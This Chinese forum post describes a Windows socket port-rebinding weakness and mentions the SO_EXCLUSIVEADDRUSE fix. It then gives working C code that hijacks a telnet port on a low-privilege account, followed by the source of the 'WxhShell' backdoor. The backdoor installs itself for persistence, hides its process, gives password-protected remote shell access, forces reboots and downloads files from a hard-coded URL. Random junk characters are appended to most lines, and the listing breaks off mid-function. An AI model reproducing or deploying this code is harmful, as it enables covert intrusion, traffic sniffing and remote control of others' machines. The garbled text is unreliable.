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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xmG<]WF>E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k\IbIv7?i  
*Uh!>Iv;  
  saddr.sin_family = AF_INET; 25T18&R  
'7/)Ot(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); OPi0~s  
8QK&_n*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yr6V3],Tp  
>V937  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <[v[ci  
%*U'@r(A  
  这意味着什么?意味着可以进行如下的攻击: 6mE\OS-I  
d1*<Ll9K  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [e q&C_|D  
),)lzN%!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @,}UWU  
(mOtU8e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 TseGXYH  
s.#`&Sd>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Fs{*XKv&lH  
h 0|s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N;R^h? '  
ZC ?Xqp  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,I9bNO,%JK  
7nSxi+6e  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7,MR*TO,  
jylD6IT  
  #include /efUjkP  
  #include "|NI]Kv  
  #include YQ} o?Q$z  
  #include    +mPx8P&%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NRuNKl.v  
  int main() r^ XVB`v  
  { g7|@  
  WORD wVersionRequested; b$7 +;I;  
  DWORD ret; @ZJS&23E  
  WSADATA wsaData; 'R)Tn!6  
  BOOL val; vI?, 47Hj+  
  SOCKADDR_IN saddr; F{wzB  
  SOCKADDR_IN scaddr; > !JS:5|  
  int err; eE Kf|I  
  SOCKET s; N+|d3X!  
  SOCKET sc; AX INThJ  
  int caddsize; /QQ*8o8  
  HANDLE mt; xk5 ]^yDp  
  DWORD tid;   +3gp%`c4  
  wVersionRequested = MAKEWORD( 2, 2 ); T|$H#n}  
  err = WSAStartup( wVersionRequested, &wsaData ); iscz}E,Y  
  if ( err != 0 ) { #4:?gfIj  
  printf("error!WSAStartup failed!\n"); b>W %t  
  return -1; km(Po}  
  } im8CmQ  
  saddr.sin_family = AF_INET; S/ *E,))m  
   ~u{uZ(~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Qrv<lE1V;  
1 zZlC#V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kstIgcI  
  saddr.sin_port = htons(23); ]'cs.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (Z*!#}z`  
  { +vH4MwG$.&  
  printf("error!socket failed!\n"); 1oS/`)  
  return -1; PCvWS.{  
  } s7<AfaJPF  
  val = TRUE; Z;i:](  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \bF{-"7.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9x8fhAy}4  
  { 8}[).d160  
  printf("error!setsockopt failed!\n"); 4Ig;3 ^%71  
  return -1;  g-A-kqo9  
  } a[C@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *hx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @F eTz[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 NUZl`fu1Z4  
x Ar\gu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) UZMd~|  
  { = &]L00u.  
  ret=GetLastError(); n]9$:aLZ  
  printf("error!bind failed!\n"); b sX[UF  
  return -1; I0 -MRU~[K  
  } pb}*\/s  
  listen(s,2); L#J1b!D&<6  
  while(1) +nL[MSw  
  { vt8By@]:  
  caddsize = sizeof(scaddr); Tx D#9]Q`  
  //接受连接请求 sT)CxOV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _U(  
  if(sc!=INVALID_SOCKET) &pRREu:[4L  
  {  )2.Si#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N['  .BN  
  if(mt==NULL) XwmL.Gg:]7  
  { cr3^6HB  
  printf("Thread Creat Failed!\n"); 3u=g6W2 F  
  break; Ytkv!]"  
  } QV!up^Zso  
  } Sc0w.5m6  
  CloseHandle(mt); HtFDlvdy]  
  } ueudRb  
  closesocket(s); O-^Ma- }  
  WSACleanup(); U6K|fY N`  
  return 0; 1#x0q:6  
  }   5O% {{J  
  DWORD WINAPI ClientThread(LPVOID lpParam) @]j1:PN-  
  { g#bRT*,L  
  SOCKET ss = (SOCKET)lpParam; V`- 9m$  
  SOCKET sc; )GpK@R]{  
  unsigned char buf[4096]; eFgA 8kY)  
  SOCKADDR_IN saddr; jp,4h4C^)  
  long num; R_C)  
  DWORD val; &yg|t5o  
  DWORD ret; Nb\4 /;#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]kSGR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Xvu(vA  
  saddr.sin_family = AF_INET; COlqcq'qAu  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'L'R9&o<X  
  saddr.sin_port = htons(23); qGo.WZ$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <E~'.p,  
  { 4RO}<$Nx}  
  printf("error!socket failed!\n"); ]^E?;1$f?  
  return -1; vsPu*[%  
  } T)/eeZ$  
  val = 100; .#gzP2 [q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M3\AY30L  
  { ?s01@f#  
  ret = GetLastError(); <~)P7~$d?p  
  return -1; K+eM   
  } ^qs $v06  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ftb\0,-   
  { /uflpV|  
  ret = GetLastError(); Lbgi7|&  
  return -1; H_a[)DT  
  } N~Jda o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {: /}NpA$  
  { d]9z@Pd   
  printf("error!socket connect failed!\n"); Nn6%9PX_)  
  closesocket(sc); Oketwa  
  closesocket(ss); N2G{<>=  
  return -1; sJZ iI}Xc  
  } V~GDPJ+  
  while(1) `5*}p#G  
  { 4#D,?eA7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }BEB1Q}L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6ujW Nf  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 OUnA;_  
  num = recv(ss,buf,4096,0); [^iN}Lz  
  if(num>0) VbYdZCC  
  send(sc,buf,num,0);  mh%VrA q  
  else if(num==0) 8*X4\3:*N  
  break; KNl$3nX  
  num = recv(sc,buf,4096,0); &]Tmxh(  
  if(num>0) Eci\a]  
  send(ss,buf,num,0); +A+)=/i;  
  else if(num==0) HS$r8`S?)  
  break; h[ ZN+M  
  } jXJyc'm7  
  closesocket(ss); +`4A$#$+y  
  closesocket(sc);  *CMx-_  
  return 0 ; )X7A  
  } TeQV?ZQ#}  
%b0*H_ok7  
x`s>*^  
========================================================== SbZ6t$"  
/Oono6j  
下边附上一个代码,,WXhSHELL #yen8SskB  
}H2 R3icE  
========================================================== e20-h3h+  
4i bc  
#include "stdafx.h" 'w/hw'F6  
b>k y  
#include <stdio.h> =1! 'QUc  
#include <string.h> M5B# TAybC  
#include <windows.h> G}*hM$F  
#include <winsock2.h> ?2a$*(  
#include <winsvc.h> 1YA% -~  
#include <urlmon.h> rQXzR  
& kIFcd@  
#pragma comment (lib, "Ws2_32.lib") 'qi}|I  
#pragma comment (lib, "urlmon.lib") G3]4A&h9v~  
H]s.=.Ki  
#define MAX_USER   100 // 最大客户端连接数 a.'*G6~Qgw  
#define BUF_SOCK   200 // sock buffer |qLh5Ty  
#define KEY_BUFF   255 // 输入 buffer V~bD)?M  
-&f$GUTJ  
#define REBOOT     0   // 重启 3 $w65=  
#define SHUTDOWN   1   // 关机 m|# y >4  
N [@?gFtT  
#define DEF_PORT   5000 // 监听端口 +p^u^a  
.hiSw  
#define REG_LEN     16   // 注册表键长度 @o^Ww  
#define SVC_LEN     80   // NT服务名长度 )Z$!PqRw@u  
AGno6g  
// 从dll定义API wzaV;ac4K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B *vM0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kT?J5u _o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f?b"iA(6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^{{q V  
(t.Nk[  
// wxhshell配置信息 t5zKW _J7  
struct WSCFG { 5;S.H#YOpO  
  int ws_port;         // 监听端口 z2c6T.1M  
  char ws_passstr[REG_LEN]; // 口令 Je@v8{][|  
  int ws_autoins;       // 安装标记, 1=yes 0=no &zs$x?/  
  char ws_regname[REG_LEN]; // 注册表键名 DMS! a$4  
  char ws_svcname[REG_LEN]; // 服务名 y]im Z4{/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -&;TA0~;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t Pf40`@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k8Xm n6X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9kojLqCT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _|]x2xb)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mTh]PPo   
z=FZiH  
}; !c-*O<Y  
b\ PgVBf9  
// default Wxhshell configuration iUwzs&frd  
struct WSCFG wscfg={DEF_PORT, S$k&vc(0  
    "xuhuanlingzhe", RyNs6  
    1, PX99uWx5]  
    "Wxhshell", |'.  
    "Wxhshell", BD-AI  
            "WxhShell Service", vj*%Q(E6Pt  
    "Wrsky Windows CmdShell Service", .KC ++\{HE  
    "Please Input Your Password: ", o.\oA6P_  
  1, CNIsZ v@Q  
  "http://www.wrsky.com/wxhshell.exe", 0ksa  
  "Wxhshell.exe" Th[dW<  
    }; Jl<2>@  
ap~^Ty<>  
// 消息定义模块 WKU=.sY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '2O\_Uz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -![|}pX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `-&K~^-cH  
char *msg_ws_ext="\n\rExit."; 'n|5ZhXPB  
char *msg_ws_end="\n\rQuit."; =mGez )T5\  
char *msg_ws_boot="\n\rReboot..."; {e5= &A  
char *msg_ws_poff="\n\rShutdown..."; @P" p+  
char *msg_ws_down="\n\rSave to "; _ J[  
B?qjkP  
char *msg_ws_err="\n\rErr!"; 'RRE|L,  
char *msg_ws_ok="\n\rOK!"; i  LAscb  
Ru~j,|0r4  
char ExeFile[MAX_PATH]; 2 FFD%O05  
int nUser = 0; iX\X>W$P  
HANDLE handles[MAX_USER]; $g7<Y*t[  
int OsIsNt; o]:9')5^  
J$!iq|  
SERVICE_STATUS       serviceStatus; m`_ONm'T&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7)k\{&+P  
)ANmIwmC#  
// 函数声明 EZj9wd"u  
int Install(void); ^H' \"9;7  
int Uninstall(void); "vslZ`RU  
int DownloadFile(char *sURL, SOCKET wsh); @R  6@]Dm  
int Boot(int flag); ^I)N. 5  
void HideProc(void); PuO&wI]:  
int GetOsVer(void); &M '*6A  
int Wxhshell(SOCKET wsl); IMfqiH)  
void TalkWithClient(void *cs); J")#I91  
int CmdShell(SOCKET sock); \G3rX9xG  
int StartFromService(void); ^KELKv,_  
int StartWxhshell(LPSTR lpCmdLine); ${)b[22":  
LD g?'y;2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7!$^r$t   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w\brVnt  
T n}s*<=V  
// 数据结构和表定义 yOg+iFTr  
SERVICE_TABLE_ENTRY DispatchTable[] = 6x|jPb  
{ !3v1bGk  
{wscfg.ws_svcname, NTServiceMain}, /OJ`c`>Q:  
{NULL, NULL} 6i*sm.SDw  
}; XGMiW0j0B  
M|[oaanY'  
// 自我安装 y|q3Wa  
int Install(void) GDy9qUV  
{ X~i<g?]  
  char svExeFile[MAX_PATH]; (@}!0[[^  
  HKEY key; vA.MRu#  
  strcpy(svExeFile,ExeFile); O,A{3DAe0  
v]c6R-U  
// 如果是win9x系统,修改注册表设为自启动 S/I/-Bp~  
if(!OsIsNt) { 'XBFv9&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TvQo?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z87|Zl  
  RegCloseKey(key); D #/Bx[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C\/L v.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7fX<511(  
  RegCloseKey(key); E=w1=,/y  
  return 0; / Qk4  
    } uL/m u<  
  } P_#bow  
} D{~fDRR  
else { }Ys >(w  
q8Z<{#oXu  
// 如果是NT以上系统,安装为系统服务 ohGfp9H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~<OSYb  
if (schSCManager!=0) aCLqk'  
{ f8.gT49I  
  SC_HANDLE schService = CreateService f:.I0 ST  
  ( q\527^ZM  
  schSCManager, Q'mM3pq4r  
  wscfg.ws_svcname, !o[7wKrXb  
  wscfg.ws_svcdisp, Oh\<VvZuN  
  SERVICE_ALL_ACCESS, .Twk {p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _W'-+,  
  SERVICE_AUTO_START, Vr1<^Ib  
  SERVICE_ERROR_NORMAL, M>8A\;"  
  svExeFile, JO"<{ngsQ  
  NULL, r s?R:+  
  NULL, A:9?ZI/X  
  NULL, ">j j  
  NULL, B|AV$N*  
  NULL 1&(V   
  ); Jl9k``r*  
  if (schService!=0) ([LSsZ]sj  
  { ;H.^i|_/  
  CloseServiceHandle(schService); 2q4<t:!  
  CloseServiceHandle(schSCManager);  !V g`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "djw>|,N<  
  strcat(svExeFile,wscfg.ws_svcname); @w!PaP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9lH?-~9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FA3~|Zg  
  RegCloseKey(key); N;j)k;  
  return 0; QM#4uI55B  
    } E5lBdM>2  
  } dg"3rs /?A  
  CloseServiceHandle(schSCManager); 8-%TC\:  
} !pdb'*,n  
} oVfLnI ;  
MsGM5(r:b  
return 1; j*jo@N |  
} H_X [t*2  
|3[Wa^U5  
// 自我卸载 bPt!yI:  
int Uninstall(void) "Yj'oE% \  
{ * 8_wYYH  
  HKEY key; 364`IC( a  
i,4>0o?  
if(!OsIsNt) { y6, /:qm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {I#]@,  
  RegDeleteValue(key,wscfg.ws_regname); ~`\?"s:  
  RegCloseKey(key); B1C-J/J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iJ3e1w$  
  RegDeleteValue(key,wscfg.ws_regname); 5ZK@`jkE  
  RegCloseKey(key); (l- ab2'  
  return 0; |O9 O )o  
  } ssRbhlD/*1  
} [^e%@TV>d  
} u5 : q$P  
else {  &NK,VB;  
JYd 'Jp8bP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o`P %&  
if (schSCManager!=0) 9Ujo/3,Ak  
{ _i|t Y4L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i/ )am9  
  if (schService!=0) d>fkA0G/9!  
  { ime\f*Fg  
  if(DeleteService(schService)!=0) { [@b&? b~K  
  CloseServiceHandle(schService); OFv%B/O  
  CloseServiceHandle(schSCManager); SB|Qa}62  
  return 0; \6<=$vD  
  } 4.=3M  
  CloseServiceHandle(schService); L3--r  
  } K]0:?h;%Ld  
  CloseServiceHandle(schSCManager); Q[pV!CH  
} @EpIh&  
} bMMh|F  
LBsluT  
return 1; e<h~o!z a  
}  4/1d&Sg  
-Sx\Xi"<o=  
// 从指定url下载文件 ,:H\E|XeBw  
int DownloadFile(char *sURL, SOCKET wsh) .#Z%1U%P.  
{ Uo>] sNP~  
  HRESULT hr; MIoEauf  
char seps[]= "/";  Q&g^c2  
char *token; -VTkG]{`Ir  
char *file; 9Hu/u=vB<  
char myURL[MAX_PATH]; H_ox_ u}  
char myFILE[MAX_PATH]; ;YX4:OBqr  
^[XYFQTL  
strcpy(myURL,sURL); /fT+^&  
  token=strtok(myURL,seps); "xHgqgFyO  
  while(token!=NULL) ?)X,0P'  
  { "zFNg';  
    file=token; QxOjOKAG  
  token=strtok(NULL,seps); %r6y ;vAf  
  } `~;rblo;  
rJ{O(n]j  
GetCurrentDirectory(MAX_PATH,myFILE); [YT>*BH?  
strcat(myFILE, "\\"); ~UjGSO)z}  
strcat(myFILE, file); 4^Q :  
  send(wsh,myFILE,strlen(myFILE),0); y+6o{`0  
send(wsh,"...",3,0); 5qoSEI-m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4NG?_D5&  
  if(hr==S_OK) ^?]%sdT q  
return 0; nMvKTH  
else LLXVNO@e+  
return 1; #ap9Yoyk\  
,|plWIl~  
} $3uKw!z  
) ^3avRsC  
// 系统电源模块 _Bp1co85MQ  
int Boot(int flag) / iV}HV0  
{ ?Ovqp-sw  
  HANDLE hToken; hk;7:G  
  TOKEN_PRIVILEGES tkp; eT8}  
IGFR4+  
  if(OsIsNt) { CL}{mEr}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *`Yv.=cd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); deixy. |  
    tkp.PrivilegeCount = 1; -!L"')  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0,rTdjH7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ADk8{L{UU  
if(flag==REBOOT) { f'{]"^e=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZwerDkd  
  return 0; |7pR)KH3  
} M7+h(\H]2  
else { B8%{}[q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S&Ee,((E(  
  return 0; Mz;[+p  
} 4bEf  
  } \3jW~FV  
  else { [ $T(WGF  
if(flag==REBOOT) { yxq}QSb \3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mA@Me7m}  
  return 0; ^3FE\V/=  
} 5W@jfh)  
else { ]UG*r%9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d k<XzO~g  
  return 0; rf%7b8[v  
} k` (jkbEZ  
} LW:LFzp  
1G'`2ATF*  
return 1; :BGA.  
} u}|%@=xn  
|s)?cpb  
// win9x进程隐藏模块 AVU>+[.=%c  
void HideProc(void) }AvcoD/b  
{ =FT98H2*|  
H<G4O02i_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3u\;j; Td!  
  if ( hKernel != NULL ) Iu35#j  
  { ZB[Qs   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }/,CbKi,+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A=-F,=k(!/  
    FreeLibrary(hKernel); &X]\)`j0  
  } DK&h eVIoZ  
M8b4NF_&  
return; %,*G[#*&  
} A;u"<KG?  
`ZaT}# Y  
// 获取操作系统版本 z>[tF5  
int GetOsVer(void)  X}6#II  
{ 1]T`n/d V  
  OSVERSIONINFO winfo; x4#T G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *AIEl"29  
  GetVersionEx(&winfo); CC3v%^81l^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =[<m[.)i  
  return 1; V=:_d,  
  else $,hwU3RVxc  
  return 0; "XLe3n  
} ib0g3p-Lc  
Ut)r&?  
// 客户端句柄模块 9><mp]E4  
int Wxhshell(SOCKET wsl) il:nXpM!  
{ O;]?gj 1@  
  SOCKET wsh; 2~;&g?T6  
  struct sockaddr_in client; !z zW2>  
  DWORD myID; ?Jtg3AY  
jec:i-,  
  while(nUser<MAX_USER) ,goBq3[%?  
{ n!He&  
  int nSize=sizeof(client); /LQ:Sv7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G;oFTP>o  
  if(wsh==INVALID_SOCKET) return 1; Cv=GZGn-  
#rYENR[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YTU.$t;Ez  
if(handles[nUser]==0) `$z)$VuP  
  closesocket(wsh); Cj;/Uhs  
else *,\` o~  
  nUser++; ZZ)G5ji  
  } yD)"c .  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5QWNZJ&}d  
xUYow  
  return 0; |[cdri^?D  
}  c!uW}U_z  
$~'Tf>e  
// 关闭 socket Eb.;^=x  
void CloseIt(SOCKET wsh) V_L[P9  
{ N)43};e  
closesocket(wsh); DPJh5d  
nUser--; '0+$ m=   
ExitThread(0); En9R>A;`  
} 5z]\$=TE  
+|C[-W7Sw  
// 客户端请求句柄 pX<a2F P  
void TalkWithClient(void *cs) Qp!Y.YnPd_  
{ zd`=Ih2Wx  
h}=M^SL  
  SOCKET wsh=(SOCKET)cs; TvrwVL)  
  char pwd[SVC_LEN]; D&[Z;,CHMA  
  char cmd[KEY_BUFF]; #Mi|IwL  
char chr[1]; d]M[C[TOX  
int i,j; Y5jYmP<  
|ft:|/^F&  
  while (nUser < MAX_USER) { ( D}" &2  
_9h.Gt  
if(wscfg.ws_passstr) { $au2%NL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3%M.U)|+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E8tD)=1  
  //ZeroMemory(pwd,KEY_BUFF); +?e}<#vd'?  
      i=0; 4 10:%WGc  
  while(i<SVC_LEN) { m,NMTyJoz  
<-|SIF  
  // 设置超时 Y(GW0\<  
  fd_set FdRead; RWahsJTu  
  struct timeval TimeOut; uJPH~mdW   
  FD_ZERO(&FdRead); M1uP\Sa  
  FD_SET(wsh,&FdRead); Jn,w)Els  
  TimeOut.tv_sec=8; fSV5  
  TimeOut.tv_usec=0; {mYx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f8!l7{2%q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~_}4jnC  
tQ0=p| T]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v>^jy8$  
  pwd=chr[0]; NS 5 49S  
  if(chr[0]==0xd || chr[0]==0xa) { B&nw#saz.  
  pwd=0; l\U*sro<  
  break; ype"7p\  
  } U$$3'n  
  i++; 4(iS-8{J  
    } o*)@oU  
Y\>\[*.v  
  // 如果是非法用户,关闭 socket Nz @8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `1_FQnm)  
} au A.6DQ  
g _x\T+=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ct.Bg)E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7 NUenCdc  
T Xl\hL\+  
while(1) { Wbs^(iUU}  
< [ w++F~  
  ZeroMemory(cmd,KEY_BUFF); vK`S!7x'&  
C[W5d~@;E  
      // 自动支持客户端 telnet标准   _"v~"k 90^  
  j=0; ujNt(7Cz  
  while(j<KEY_BUFF) { }9 FD/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ! fX9*0L  
  cmd[j]=chr[0]; Lo5Jb6nm  
  if(chr[0]==0xa || chr[0]==0xd) { (mY(\mu}  
  cmd[j]=0; V!}L<cN  
  break; g)nXo:)&  
  } o[2Y;kP3*P  
  j++; Cea"qNq=k  
    } HWOek"}Z[  
s V&`0N  
  // 下载文件 +%x^RV}  
  if(strstr(cmd,"http://")) { lWIv(%/@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |M]sk?"^  
  if(DownloadFile(cmd,wsh))  Ckw83X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (J/>Gy)d  
  else dkf}),Z F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )ZviS.  
  } ~S! L!qY  
  else { Sq.9-h%5  
|@OJ~5H/{  
    switch(cmd[0]) { 2}ag_  
  57'q;I  
  // 帮助 [6oq##  
  case '?': { _J +]SNk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {kT#o3,>w6  
    break; ZyZl\\8U  
  } B<rPvM7a  
  // 安装 a\.//?  
  case 'i': { (=6P]~,  
    if(Install()) WvIK=fdZ$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (di)`D5Q  
    else !2/l9SUi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "<7$2!  
    break; 30t:O&2<  
    } X9p+a,  
  // 卸载 }3bQ>whF  
  case 'r': { ;|2U f   
    if(Uninstall()) N+ak[axN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wEZqkV  
    else *G8'Fjin'T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rc;1Sm9\  
    break; JkRGtYq  
    } :zRB)hd  
  // 显示 wxhshell 所在路径 wOD/Z8  
  case 'p': { H0 {Mlu9  
    char svExeFile[MAX_PATH]; C!CaGf=  
    strcpy(svExeFile,"\n\r"); O@G<B8U,K  
      strcat(svExeFile,ExeFile); :-W$PIBe  
        send(wsh,svExeFile,strlen(svExeFile),0); *g}vT8w'}  
    break; Ubn   
    } 2 rbX8Y  
  // 重启 y}3 `~a  
  case 'b': { n=lggBRx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <FMuWHY  
    if(Boot(REBOOT)) +H5 jRw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RlG'|xaT  
    else { W\d0  
    closesocket(wsh); p\4h$."  
    ExitThread(0); &utS\-;G  
    } ua6*zop  
    break; AX!Md:s  
    } $Qx(aWE0  
  // 关机 Gl3 `e&7  
  case 'd': { EbHUGCMO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XFLjVrX[  
    if(Boot(SHUTDOWN)) x`j_d:C~G  
